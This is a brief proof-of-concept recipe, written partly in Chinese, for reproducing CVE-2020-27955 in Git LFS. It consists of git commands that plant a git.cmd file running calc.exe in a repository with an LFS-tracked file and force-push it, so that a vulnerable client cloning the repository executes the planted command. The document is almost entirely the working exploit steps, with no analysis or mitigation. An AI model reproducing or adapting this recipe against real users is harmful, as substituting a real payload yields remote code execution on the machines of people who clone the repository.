cve-2020-27955

cve-2020-27955

复现

1. 创建github仓库
2. git clone https://github.com/attacker/poc.git .
3. echo calc.exe > git.cmd
4. git lfs track “*.dat”
5. echo “Junk” > large.dat
6. git add -A
7. git commit -m “POC”
8. git push -u origin master -f